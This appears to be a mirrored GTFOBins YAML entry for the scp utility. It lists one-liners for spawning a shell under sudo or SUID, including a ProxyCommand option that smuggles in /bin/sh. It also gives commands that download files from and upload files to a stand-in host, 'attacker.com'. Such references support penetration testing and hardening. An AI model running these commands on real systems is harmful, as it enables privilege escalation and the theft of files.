mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2026-03-07 14:36:23 +01:00
37 lines
739 B
Plaintext
37 lines
739 B
Plaintext
---
|
|
functions:
|
|
download:
|
|
- code: |-
|
|
scp user@attacker.com:/path/to/input-file /path/to/output-file
|
|
contexts:
|
|
sudo:
|
|
suid:
|
|
unprivileged:
|
|
sender: ssh-server
|
|
shell:
|
|
- code: |-
|
|
echo 'exec /bin/sh 0<&2 1>&2' >/path/to/temp-file
|
|
chmod +x /path/to/temp-file
|
|
scp -S /path/to/temp-file x x:
|
|
contexts:
|
|
sudo:
|
|
suid:
|
|
shell: true
|
|
unprivileged:
|
|
- code: |-
|
|
scp -o 'ProxyCommand=;/bin/sh 0<&2 1>&2' x x:
|
|
contexts:
|
|
sudo:
|
|
suid:
|
|
shell: true
|
|
unprivileged:
|
|
upload:
|
|
- code: |-
|
|
scp /path/to/input-file user@attacker.com:/path/to/output-file
|
|
contexts:
|
|
sudo:
|
|
suid:
|
|
unprivileged:
|
|
receiver: ssh-server
|
|
...
|